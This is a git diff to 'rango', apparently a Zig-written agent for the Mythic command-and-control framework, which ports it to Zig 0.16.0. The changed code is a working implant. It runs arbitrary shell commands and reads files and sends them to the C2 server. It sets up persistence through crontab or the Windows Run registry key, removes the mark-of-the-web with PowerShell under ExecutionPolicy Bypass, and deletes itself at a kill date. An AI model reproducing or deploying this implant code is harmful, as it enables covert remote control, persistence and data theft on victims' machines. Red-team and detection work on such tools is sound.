diff --git a/Payload_Type/rango/Dockerfile b/Payload_Type/rango/Dockerfile index e3c0ca9..b551855 100644 --- a/Payload_Type/rango/Dockerfile +++ b/Payload_Type/rango/Dockerfile @@ -29,11 +29,11 @@ RUN wget https://github.com/pop-ecx/ZYRA/releases/download/v0.1.0/zyra-im -O zyr chmod +x zyra-im && \ mv zyra-im /usr/local/bin/zyra-im -RUN wget -q https://ziglang.org/download/0.15.1/zig-x86_64-linux-0.15.1.tar.xz && \ - tar -xf zig-x86_64-linux-0.15.1.tar.xz && \ - mv zig-x86_64-linux-0.15.1 /usr/local/zig-0.15.1 && \ - ln -s /usr/local/zig-0.15.1/zig /usr/local/bin/zig && \ - rm zig-x86_64-linux-0.15.1.tar.xz +RUN wget -q https://ziglang.org/download/0.16.0/zig-x86_64-linux-0.16.0.tar.xz && \ + tar -xf zig-x86_64-linux-0.16.0.tar.xz && \ + mv zig-x86_64-linux-0.16.0 /usr/local/zig-0.16.0 && \ + ln -s /usr/local/zig-0.16.0/zig /usr/local/bin/zig && \ + rm zig-x86_64-linux-0.16.0.tar.xz COPY requirements.txt / RUN pip3 install -r /requirements.txt diff --git a/Payload_Type/rango/rango/agent_code/build.zig.zon b/Payload_Type/rango/rango/agent_code/build.zig.zon index a0d4ab3..fa79d16 100644 --- a/Payload_Type/rango/rango/agent_code/build.zig.zon +++ b/Payload_Type/rango/rango/agent_code/build.zig.zon @@ -28,7 +28,7 @@ // Tracks the earliest Zig version that the package considers to be a // supported use case. - .minimum_zig_version = "0.15.1", + .minimum_zig_version = "0.16.0", // This field is optional. // Each dependency must either provide a `url` and `hash`, or a `path`. diff --git a/Payload_Type/rango/rango/agent_code/src/agent.zig b/Payload_Type/rango/rango/agent_code/src/agent.zig index 90edf83..caa4323 100644 --- a/Payload_Type/rango/rango/agent_code/src/agent.zig +++ b/Payload_Type/rango/rango/agent_code/src/agent.zig @@ -9,6 +9,7 @@ const config = @import("config.zig"); const print = std.debug.print; //const ArrayList = std.ArrayList; const Allocator = std.mem.Allocator; +const Io = std.Io; const json = std.json; const time = std.time; @@ -27,6 +28,7 @@ pub const MythicAgent = struct { const Self = @This(); allocator: Allocator, + io: Io, config: AgentConfig, uuid: []const u8, session_id: []const u8, @@ -38,32 +40,33 @@ pub const MythicAgent = struct { aes_key: [32]u8, //For future use watch this space payload_uuid: []const u8, - tasks: std.ArrayListUnmanaged(MythicTask), - pending_responses: std.ArrayListUnmanaged(MythicResponse), + tasks: std.ArrayList(MythicTask), + pending_responses: std.ArrayList(MythicResponse), is_running: bool, - last_checkin: i64, + last_checkin: Io.Timestamp, - pub fn init(allocator: Allocator, agent_config: types.AgentConfig) !Self { + pub fn init(allocator: Allocator, agent_config: types.AgentConfig, io: Io, environ_map: *std.process.Environ.Map) !Self { var crypto_utils = CryptoUtils.init(allocator); - const session_id = try crypto_utils.generateSessionId(); //session_id might be useful later. Not implemented yet - const aes_key = CryptoUtils.generateAESKey(); + const session_id = try crypto_utils.generateSessionId(io); //session_id might be useful later. Not implemented yet + const aes_key = CryptoUtils.generateAESKey(io); return Self{ .allocator = allocator, + .io = io, .config = agent_config, .uuid = config.uuid, .session_id = session_id, - .network_client = NetworkClient.init(allocator, agent_config), - .command_executor = CommandExecutor.init(allocator), - .system_info = SystemInfo.init(allocator), + .network_client = NetworkClient.init(allocator, agent_config, io), + .command_executor = CommandExecutor.init(allocator, io), + .system_info = SystemInfo.init(allocator, io, environ_map), .crypto_utils = crypto_utils, .aes_key = aes_key, .payload_uuid = config.payload_uuid, - .tasks = std.ArrayListUnmanaged(MythicTask){}, - .pending_responses = std.ArrayList(MythicResponse){}, + .tasks = std.ArrayList(MythicTask).empty, + .pending_responses = std.ArrayList(MythicResponse).empty, .is_running = false, - .last_checkin = 0, + .last_checkin = Io.Timestamp{ .nanoseconds = 0 }, }; } @@ -79,7 +82,7 @@ pub const MythicAgent = struct { try self.checkin(); // Install persistence after first check-in - const exepath = try std.fs.selfExePathAlloc(self.allocator); + const exepath = try std.process.executablePathAlloc(self.io, self.allocator); defer self.allocator.free(exepath); //There is a bug where if you use zyra, the path is different from where @@ -97,15 +100,15 @@ pub const MythicAgent = struct { } else { // Here is where we should check if a cron job exists for this exepath // If it doesn't, we install one - const cron_exists = try PersistUtils.get_cron_entries(self.allocator); + const cron_exists = try PersistUtils.get_cron_entries(self.allocator, self.io); if (cron_exists == null or cron_exists.?.len == 0) { - PersistUtils.install_cron(exepath, self.allocator) catch |err| { + PersistUtils.install_cron(exepath, self.allocator, self.io) catch |err| { std.debug.print("{}", .{err}); }; } else { const cron_path = cron_exists.?; if (!std.mem.eql(u8, cron_path, exepath)) { - PersistUtils.update_cron_entry(cron_path, exepath, self.allocator) catch |err| { + PersistUtils.update_cron_entry(cron_path, exepath, self.allocator, self.io) catch |err| { std.debug.print("{}", .{err}); }; } else { @@ -115,16 +118,16 @@ pub const MythicAgent = struct { } while (self.is_running) { if (self.config.kill_date) |kill_date| { - if (TimeUtils.isKillDateReached(kill_date)) { + if (TimeUtils.isKillDateReached(kill_date, self.io)) { //we'll try to make the binary remove persistence and self delete - const exe_path = try std.fs.selfExePathAlloc(self.allocator); + const exe_path = try std.process.executablePathAlloc(self.io, self.allocator); defer self.allocator.free(exe_path); - PersistUtils.remove_cron_entry(exe_path, self.allocator) catch |err| { + PersistUtils.remove_cron_entry(exe_path, self.allocator, self.io) catch |err| { print("{}", .{err}); }; - std.fs.deleteFileAbsolute(exe_path) catch |err| { + std.Io.Dir.deleteFileAbsolute(self.io, exe_path) catch |err| { print("{}", .{err}); }; std.process.exit(0); @@ -141,7 +144,7 @@ pub const MythicAgent = struct { print("{}", .{err}); }; - self.sleep(); + try self.sleep(); } } @@ -182,7 +185,7 @@ pub const MythicAgent = struct { const json_bytes = try json_writer.toOwnedSlice(); defer self.allocator.free(json_bytes); - var combined = std.ArrayList(u8){}; + var combined = std.ArrayList(u8).empty; defer combined.deinit(self.allocator); try combined.appendSlice(self.allocator, self.payload_uuid); try combined.appendSlice(self.allocator, json_bytes); @@ -222,7 +225,7 @@ pub const MythicAgent = struct { return error.InvalidResponse; } - self.last_checkin = TimeUtils.getCurrentTimestamp(); + self.last_checkin = TimeUtils.getCurrentTimestamp(self.io); } fn getTasks(self: *Self) !void { @@ -239,7 +242,7 @@ pub const MythicAgent = struct { const json_bytes = try json_writer.toOwnedSlice(); defer self.allocator.free(json_bytes); - var combined = std.ArrayList(u8){}; + var combined = std.ArrayList(u8).empty; defer combined.deinit(self.allocator); try combined.appendSlice(self.allocator, self.payload_uuid); @@ -355,7 +358,7 @@ pub const MythicAgent = struct { download: ?types.DownloadInfo = null, }; - var responses = std.ArrayList(ResponseObj){}; + var responses = std.ArrayList(ResponseObj).empty; defer responses.deinit(self.allocator); for (self.pending_responses.items) |response| { @@ -380,7 +383,7 @@ pub const MythicAgent = struct { const json_bytes = try json_writer.toOwnedSlice(); defer self.allocator.free(json_bytes); - var combined = std.ArrayList(u8){}; + var combined = std.ArrayList(u8).empty; defer combined.deinit(self.allocator); try combined.appendSlice(self.allocator, self.payload_uuid); @@ -398,8 +401,8 @@ pub const MythicAgent = struct { self.pending_responses.clearAndFree(self.allocator); } - fn sleep(self: *Self) void { - const sleep_time = TimeUtils.calculateJitteredSleep(self.config.sleep_interval, self.config.jitter); - TimeUtils.sleep(sleep_time); + fn sleep(self: *Self) !void { + const sleep_time = TimeUtils.calculateJitteredSleep(self.config.sleep_interval, self.config.jitter, self.io); + try TimeUtils.sleep(self.io, sleep_time); } }; diff --git a/Payload_Type/rango/rango/agent_code/src/commands.zig b/Payload_Type/rango/rango/agent_code/src/commands.zig index 3c6a0df..fecea2e 100644 --- a/Payload_Type/rango/rango/agent_code/src/commands.zig +++ b/Payload_Type/rango/rango/agent_code/src/commands.zig @@ -4,6 +4,7 @@ const types = @import("types.zig"); const json = std.json; const base64 = std.base64; const Allocator = std.mem.Allocator; +const Io = std.Io; const ArrayList = std.ArrayList; const MythicTask = types.MythicTask; @@ -11,10 +12,12 @@ const MythicResponse = types.MythicResponse; pub const CommandExecutor = struct { allocator: Allocator, + io: Io, - pub fn init(allocator: Allocator) CommandExecutor { + pub fn init(allocator: Allocator, io: Io) CommandExecutor { return CommandExecutor{ .allocator = allocator, + .io = io, }; } @@ -62,8 +65,7 @@ pub const CommandExecutor = struct { } const shell_path = if (builtin.os.tag == .windows) "cmd.exe" else "/bin/sh"; const shell_args = if (builtin.os.tag == .windows) "/c" else "-c"; - const result = std.process.Child.run(.{ - .allocator = self.allocator, + const result = std.process.run(self.allocator, self.io, .{ .argv = &[_][]const u8{ shell_path, shell_args, command }, }) catch |err| { return MythicResponse{ @@ -88,7 +90,7 @@ pub const CommandExecutor = struct { } fn executePwd(self: *CommandExecutor, task: MythicTask) !MythicResponse { - const cwd = std.process.getCwdAlloc(self.allocator) catch |err| { + const cwd = std.process.currentPathAlloc(self.io, self.allocator) catch |err| { return MythicResponse{ .task_id = task.id, .user_output = try std.fmt.allocPrint(self.allocator, "{}", .{err}), @@ -115,7 +117,7 @@ pub const CommandExecutor = struct { const path = parsed.value.path; - var dir = std.fs.cwd().openDir(path, .{ .iterate = true }) catch |err| { + var dir = std.Io.Dir.cwd().openDir(self.io, path, .{ .iterate = true }) catch |err| { return MythicResponse{ .task_id = task.id, .user_output = try std.fmt.allocPrint(self.allocator, "{s}: {}", .{ path, err }), @@ -123,13 +125,13 @@ pub const CommandExecutor = struct { .status = "error", }; }; - defer dir.close(); + defer dir.close(self.io); - var output = ArrayList(u8){}; + var output = ArrayList(u8).empty; defer output.deinit(self.allocator); var iterator = dir.iterate(); - while (try iterator.next()) |entry| { + while (try iterator.next(self.io)) |entry| { try output.appendSlice(self.allocator, entry.name); try output.append(self.allocator, '\n'); } @@ -152,7 +154,7 @@ pub const CommandExecutor = struct { }; } - const content = std.fs.cwd().readFileAlloc(self.allocator, task.parameters, 1024 * 1024) catch |err| { + const content = std.Io.Dir.cwd().readFileAlloc(self.io, task.parameters, self.allocator, .limited(1024 * 1024)) catch |err| { return MythicResponse{ .task_id = task.id, .user_output = try std.fmt.allocPrint(self.allocator, "{s}: {}", .{ task.parameters, err }), @@ -170,7 +172,7 @@ pub const CommandExecutor = struct { } fn executeDownload(self: *CommandExecutor, task: MythicTask) !MythicResponse { - const file_content = std.fs.cwd().readFileAlloc(self.allocator, task.parameters, 10 * 1024 * 1024) catch |err| { + const file_content = std.Io.Dir.cwd().readFileAlloc(self.io, task.parameters, self.allocator, .limited(10 * 1024 * 1024)) catch |err| { return MythicResponse{ .task_id = task.id, .user_output = try std.fmt.allocPrint(self.allocator, "{}", .{err}), @@ -191,7 +193,7 @@ pub const CommandExecutor = struct { .chunk_num = 1, .chunk_data = encoded_content, .total_chunks = 1, - .full_path = null, + .full_path = task.parameters, .chunk_size = encoded_content.len, .is_screenshot = false, }, @@ -226,17 +228,17 @@ pub const CommandExecutor = struct { }; if (std.mem.eql(u8, remote_path, "/")) { - const file = try std.fs.createFileAbsolute(remote_path, .{}); - defer file.close(); + const file = try std.Io.Dir.createFileAbsolute(self.io, remote_path, .{}); + defer file.close(self.io); if (std.mem.startsWith(u8, decoded_content, "b'") and std.mem.endsWith(u8, decoded_content, "'")) { // Remove the b'' prefix if present. Very hacky and hould be improved. Sould write an unescape function later. const content = decoded_content[2 .. decoded_content.len - 1]; - try file.writeAll(content); + try file.writeStreamingAll(self.io, content); } else { - try file.writeAll(decoded_content); + try file.writeStreamingAll(self.io, decoded_content); } } else { - std.fs.cwd().writeFile(.{ .sub_path = remote_path, .data = decoded_content }) catch |err| { + std.Io.Dir.cwd().writeFile(self.io, .{ .sub_path = remote_path, .data = decoded_content }) catch |err| { return MythicResponse{ .task_id = task.id, .user_output = try std.fmt.allocPrint(self.allocator, "Failed to write file: {}", .{err}), @@ -268,7 +270,7 @@ pub const CommandExecutor = struct { .status = "error", }; } - std.fs.deleteFileAbsolute(path) catch |err| { + std.Io.Dir.cwd().deleteTree(self.io, path) catch |err| { return MythicResponse{ .task_id = task.id, .user_output = try std.fmt.allocPrint(self.allocator, "Failed to delete file: {}", .{err}), @@ -299,7 +301,7 @@ pub const CommandExecutor = struct { .status = "error", }; } - std.fs.deleteTreeAbsolute(path) catch |err| { + std.Io.Dir.cwd().deleteTree(self.io, path) catch |err| { return MythicResponse{ .task_id = task.id, .user_output = try std.fmt.allocPrint(self.allocator, "Failed to delete directory: {}", .{err}), diff --git a/Payload_Type/rango/rango/agent_code/src/main.zig b/Payload_Type/rango/rango/agent_code/src/main.zig index 73f1776..aba22f6 100644 --- a/Payload_Type/rango/rango/agent_code/src/main.zig +++ b/Payload_Type/rango/rango/agent_code/src/main.zig @@ -3,18 +3,18 @@ const agent = @import("agent.zig"); const types = @import("types.zig"); const config = @import("config.zig"); -const print = std.debug.print; const MythicAgent = agent.MythicAgent; const AgentConfig = types.AgentConfig; -pub fn main() !void { - var gpa = std.heap.GeneralPurposeAllocator(.{}){}; +pub fn main(init: std.process.Init) !void { + const io = init.io; + var gpa = std.heap.DebugAllocator(.{}){}; defer _ = gpa.deinit(); const allocator = gpa.allocator(); const agent_config = config.agentConfig; - var mythic_agent = try MythicAgent.init(allocator, agent_config); + var mythic_agent = try MythicAgent.init(allocator, agent_config, io, init.environ_map); defer mythic_agent.deinit(); try mythic_agent.run(); diff --git a/Payload_Type/rango/rango/agent_code/src/network.zig b/Payload_Type/rango/rango/agent_code/src/network.zig index 5e01ece..7471eb9 100644 --- a/Payload_Type/rango/rango/agent_code/src/network.zig +++ b/Payload_Type/rango/rango/agent_code/src/network.zig @@ -2,6 +2,7 @@ const std = @import("std"); const types = @import("types.zig"); const http = std.http; const json = std.json; +const Io = std.Io; const Allocator = std.mem.Allocator; const AgentConfig = types.AgentConfig; @@ -11,11 +12,11 @@ pub const NetworkClient = struct { config: AgentConfig, client: http.Client, - pub fn init(allocator: Allocator, config: AgentConfig) NetworkClient { + pub fn init(allocator: Allocator, config: AgentConfig, io: Io) NetworkClient { return NetworkClient{ .allocator = allocator, .config = config, - .client = http.Client{ .allocator = allocator }, + .client = http.Client{ .allocator = allocator, .io = io }, }; } diff --git a/Payload_Type/rango/rango/agent_code/src/utils.zig b/Payload_Type/rango/rango/agent_code/src/utils.zig index 377adb7..d9f0bed 100644 --- a/Payload_Type/rango/rango/agent_code/src/utils.zig +++ b/Payload_Type/rango/rango/agent_code/src/utils.zig @@ -1,6 +1,7 @@ const std = @import("std"); const builtin = @import("builtin"); const crypto = std.crypto; +const Io = std.Io; const base64 = std.base64; const time = std.time; const Allocator = std.mem.Allocator; @@ -8,32 +9,35 @@ extern "shell32" fn IsUserAnAdmin() callconv(.winapi) bool; pub const SystemInfo = struct { allocator: Allocator, + io: Io, + environ_map: *std.process.Environ.Map, - pub fn init(allocator: Allocator) SystemInfo { + pub fn init(allocator: Allocator, io: Io, environ_map: *std.process.Environ.Map) SystemInfo { return SystemInfo{ .allocator = allocator, + .io = io, + .environ_map = environ_map, }; } pub fn getCurrentUser(self: *SystemInfo) ![]const u8 { const key = if (builtin.os.tag == .windows) "USERNAME" else "USER"; - // Using getEnvVarOwned since the windows API is killing me - return std.process.getEnvVarOwned(self.allocator, key) catch |err| { - if (err == error.EnvironmentVariableNotFound) { - return self.allocator.dupe(u8, "unknown"); - } - return err; - }; + // getEnvVarOwned is deprecated, so we have to use Environ.Map. Feels a lot more cumbersome but it is what it is. + // TODO: Ivestigate a bug where if packing with ZYRA, username is always "Unknown" + if (self.environ_map.get(key)) |value| { + return self.allocator.dupe(u8, value); + } else { + return self.allocator.dupe(u8, "Unknown"); + } } pub fn getHostname(self: *SystemInfo) ![]const u8 { if (builtin.os.tag == .windows) { - return std.process.getEnvVarOwned(self.allocator, "COMPUTERNAME") catch |err| { - if (err == error.EnvironmentVariableNotFound) { - return self.allocator.dupe(u8, "Unknown"); - } - return err; - }; + if (self.environ_map.get("COMPUTERNAME")) |value| { + return self.allocator.dupe(u8, value); + } else { + return self.allocator.dupe(u8, "Unknown"); + } } else { var hostname_buf: [64]u8 = undefined; const result = std.posix.gethostname(&hostname_buf) catch "Unknown"; @@ -53,12 +57,11 @@ pub const SystemInfo = struct { pub fn getDomain(self: *SystemInfo) ![]const u8 { if (builtin.os.tag == .windows) { - return std.process.getEnvVarOwned(self.allocator, "USERDOMAIN") catch |err| { - if (err == error.EnvironmentVariableNotFound) { - return try self.allocator.dupe(u8, "WORKGROUP"); - } - return err; - }; + if (self.environ_map.get("USERDOMAIN")) |value| { + return self.allocator.dupe(u8, value); + } else { + return self.allocator.dupe(u8, "Unknown"); + } } else { return try self.allocator.dupe(u8, "WORKGROUP"); // Default } @@ -91,8 +94,7 @@ pub const SystemInfo = struct { pub fn getInternalIP(self: *SystemInfo) ![]const u8 { if (builtin.os.tag == .windows) { - const result = std.process.Child.run(.{ - .allocator = self.allocator, + const result = std.process.run(self.allocator, self.io, .{ .argv = &.{"ipconfig"}, }) catch |err| { std.debug.print("{}\n", .{err}); @@ -115,8 +117,7 @@ pub const SystemInfo = struct { return try self.allocator.dupe(u8, first_ip); } else { //we are going to run hostname -I and return the first IP address. I don't wanna use c library for this. - const result = std.process.Child.run(.{ - .allocator = self.allocator, + const result = std.process.run(self.allocator, self.io, .{ .argv = &.{ "hostname", "-I" }, }) catch |err| { std.debug.print("{}\n", .{err}); //I should fix this later @@ -145,45 +146,46 @@ pub const CryptoUtils = struct { }; } - pub fn generateSessionId(self: *CryptoUtils) ![]const u8 { + pub fn generateSessionId(self: *CryptoUtils, io: Io) ![]const u8 { var session_bytes: [8]u8 = undefined; - crypto.random.bytes(&session_bytes); + Io.random(io, &session_bytes); return try std.fmt.allocPrint(self.allocator, "{x}", .{std.mem.readInt(u64, &session_bytes, .big)}); } - pub fn generateAESKey() [32]u8 { + pub fn generateAESKey(io: Io) [32]u8 { var aes_key: [32]u8 = undefined; - crypto.random.bytes(&aes_key); + Io.random(io, &aes_key); return aes_key; } }; pub const TimeUtils = struct { - pub fn sleep(sleep_time: u64) void { - std.Thread.sleep(sleep_time * time.ns_per_s); + pub fn sleep(io: Io, sleep_time: u64) !void { + try Io.sleep(io, Io.Duration.fromNanoseconds(sleep_time * time.ns_per_s), .real); } - pub fn calculateJitteredSleep(base_sleep: u32, jitter: f32) u64 { + pub fn calculateJitteredSleep(base_sleep: u32, jitter: f32, io: Io) u64 { const jitter_amount = @as(u64, @intFromFloat(@as(f64, @floatFromInt(base_sleep)) * jitter)); - var prng = std.Random.DefaultPrng.init(@intCast(time.timestamp())); + const ts = Io.Timestamp.now(io, .real); + var prng = std.Random.DefaultPrng.init(@intCast(ts.toNanoseconds())); const random_jitter = prng.random().intRangeAtMost(u64, 0, jitter_amount); return base_sleep + random_jitter - (jitter_amount / 2); } - pub fn getCurrentTimestamp() i64 { - return time.timestamp(); + pub fn getCurrentTimestamp(io: Io) Io.Timestamp { + return Io.Timestamp.now(io, .real); } - pub fn isKillDateReached(kill_date: []const u8) bool { + pub fn isKillDateReached(kill_date: []const u8, io: Io) bool { // Would implement date parsing and comparison // Should ideally take kill date from config // convert to epoch time, and compare to current time const parsed_date = parseDate(kill_date) catch { return false; }; - const current_timestamp = time.timestamp(); + const current_timestamp = @divTrunc(Io.Timestamp.now(io, .real).toNanoseconds(), std.time.ns_per_s); return current_timestamp >= parsed_date; } @@ -242,10 +244,9 @@ pub const TimeUtils = struct { }; pub const PersistUtils = struct { - pub fn install_cron(agent_path: []const u8, allocator: std.mem.Allocator) !void { + pub fn install_cron(agent_path: []const u8, allocator: std.mem.Allocator, io: Io) !void { if (builtin.os.tag == .windows) { - const existing = try std.process.Child.run(.{ - .allocator = allocator, + const existing = try std.process.run(allocator, io, .{ .argv = &.{ "reg.exe", "query", @@ -255,23 +256,21 @@ pub const PersistUtils = struct { }, }); - const reg_exists = existing.term.Exited == 0; + const reg_exists = existing.term.exited == 0; if (reg_exists and std.mem.indexOf(u8, existing.stdout, agent_path) != null) { return error.AlreadyPersistent; } const unblock_cmd = try std.fmt.allocPrint(allocator, "Unblock-File -Path \"{s}\"", .{agent_path}); defer allocator.free(unblock_cmd); - const remove_motw = try std.process.Child.run(.{ - .allocator = allocator, + const remove_motw = try std.process.run(allocator, io, .{ .argv = &.{ "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", unblock_cmd }, }); - if (remove_motw.term.Exited != 0) { + if (remove_motw.term.exited != 0) { return error.UnblockFileFailed; } - const result = try std.process.Child.run(.{ - .allocator = allocator, + const result = try std.process.run(allocator, io, .{ .argv = &.{ "reg.exe", "add", @@ -284,14 +283,14 @@ pub const PersistUtils = struct { }, }); - if (result.term.Exited != 0) { + if (result.term.exited != 0) { return error.RegistryWriteFailed; } } else { - const existing = std.process.Child.run(.{ - .allocator = allocator, + const existing = std.process.run(allocator, io, .{ .argv = &.{ "crontab", "-l" }, - .max_output_bytes = 8192, + .stdout_limit = .limited(8192), + .stderr_limit = .limited(8192), }) catch |err| { // proceed with empty if none exists(crontab) if (err == error.ChildExecFailed) { @@ -308,13 +307,11 @@ pub const PersistUtils = struct { const combined = try std.mem.concat(allocator, u8, &[_][]const u8{ existing.stdout, cron_line }); defer allocator.free(combined); - var write_proc = std.process.Child.init(&[_][]const u8{ "crontab", "-" }, allocator); - write_proc.stdin_behavior = .Pipe; - try write_proc.spawn(); + const write_proc = try std.process.spawn(io, .{.argv = &[_][]const u8{ "crontab", "-" }, .stdin = .pipe, .stdout = .inherit, .stderr = .inherit,}); if (write_proc.stdin) |stdin| { - try stdin.writeAll(combined); - stdin.close(); + try stdin.writeStreamingAll(io, combined); + stdin.close(io); } // _ = write_proc.wait() catch |err| { @@ -323,25 +320,24 @@ pub const PersistUtils = struct { //}; } } - pub fn remove_cron_entry(agent_path: []const u8, allocator: std.mem.Allocator) !void { + pub fn remove_cron_entry(agent_path: []const u8, allocator: std.mem.Allocator, io: Io) !void { if (builtin.os.tag == .windows) { - const existing = try std.process.Child.run(.{ - .allocator = allocator, + const existing = try std.process.run(allocator, io, .{ .argv = &.{ "reg.exe", "delete", "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "/v", "Rango", "/f" }, }); - if (existing.term.Exited != 0) { + if (existing.term.exited != 0) { return error.RegistryDeleteFailed; } } else { - const existing = std.process.Child.run(.{ - .allocator = allocator, + const existing = std.process.run( allocator, io, .{ .argv = &.{ "crontab", "-l" }, - .max_output_bytes = 8192, + .stdout_limit = .limited(8192), + .stderr_limit = .limited(8192), }) catch |err| { if (err == error.ChildExecFailed) return; // nothing to remove no crontab return err; }; - var list = std.ArrayList([]const u8){}; + var list = std.ArrayList([]const u8).empty; defer list.deinit(allocator); // Split into lines and filter out any containing our agent path @@ -354,22 +350,19 @@ pub const PersistUtils = struct { const filtered = try std.mem.join(allocator, "\n", list.items); defer allocator.free(filtered); - var write_proc = std.process.Child.init(&[_][]const u8{ "crontab", "-" }, allocator); - write_proc.stdin_behavior = .Pipe; - try write_proc.spawn(); + const write_proc = try std.process.spawn(io, .{.argv = &[_][]const u8{ "crontab", "-" }, .stdin = .pipe, .stdout = .inherit, .stderr = .inherit,}); if (write_proc.stdin) |stdin| { - try stdin.writeAll(filtered); - try stdin.writeAll("\n"); - stdin.close(); + try stdin.writeStreamingAll(io, filtered); + try stdin.writeStreamingAll(io, "\n"); + stdin.close(io); } } //_ = write_proc.wait() catch {};//line caused a panic in my tests, commenting out for now } - pub fn get_cron_entries(allocator: std.mem.Allocator) !?[]const u8 { + pub fn get_cron_entries(allocator: std.mem.Allocator, io: Io) !?[]const u8 { if (builtin.os.tag == .windows) { - const result = try std.process.Child.run(.{ - .allocator = allocator, + const result = try std.process.run(allocator, io, .{ .argv = &.{ "reg.exe", "query", @@ -379,15 +372,15 @@ pub const PersistUtils = struct { }, }); - if (result.term.Exited != 0) { + if (result.term.exited != 0) { return try allocator.dupe(u8, ""); } return try allocator.dupe(u8, result.stdout); } else { - const result = try std.process.Child.run(.{ - .allocator = allocator, + const result = try std.process.run(allocator, io, .{ .argv = &.{ "crontab", "-l" }, - .max_output_bytes = 8192, + .stdout_limit = .limited(8192), + .stderr_limit = .limited(8192), }); const out = result.stdout; var filtered_lines = std.mem.tokenizeAny(u8, out, "\n"); @@ -404,8 +397,8 @@ pub const PersistUtils = struct { return null; // No entry found } } - pub fn update_cron_entry(old_path: []const u8, new_path: []const u8, allocator: std.mem.Allocator) !void { - try PersistUtils.remove_cron_entry(old_path, allocator); - try PersistUtils.install_cron(new_path, allocator); + pub fn update_cron_entry(old_path: []const u8, new_path: []const u8, allocator: std.mem.Allocator, io: Io) !void { + try PersistUtils.remove_cron_entry(old_path, allocator, io); + try PersistUtils.install_cron(new_path, allocator, io); } }; diff --git a/Payload_Type/rango/rango/agent_functions/download.py b/Payload_Type/rango/rango/agent_functions/download.py index 9687246..b2a7353 100644 --- a/Payload_Type/rango/rango/agent_functions/download.py +++ b/Payload_Type/rango/rango/agent_functions/download.py @@ -1,6 +1,8 @@ from mythic_container.MythicCommandBase import * import json from mythic_container.MythicRPC import * +import base64 +import os class DownloadArguments(TaskArguments): @@ -53,4 +55,28 @@ async def create_go_tasking(self, taskData: MythicCommandBase.PTTaskMessageAllDa async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + + if not isinstance(response, dict) or "download" not in response: + return resp + + download = response["download"] + chunk_data = base64.b64decode(download["chunk_data"]) + full_path = download.get("full_path") or task.args.command_line + filename = os.path.basename(full_path) + + file_resp = await SendMythicRPCFileCreate(MythicRPCFileCreateMessage( + TaskID=task.Task.ID, + FileContents=chunk_data, + DeleteAfterFetch=False, + Filename=filename, + IsPayload=False, + IsDownloadFromAgent=True, + IsScreenshot=False, + FullRemotePath=full_path, + )) + + if not file_resp.Success: + resp.Success = False + resp.Error = file_resp.Error + return resp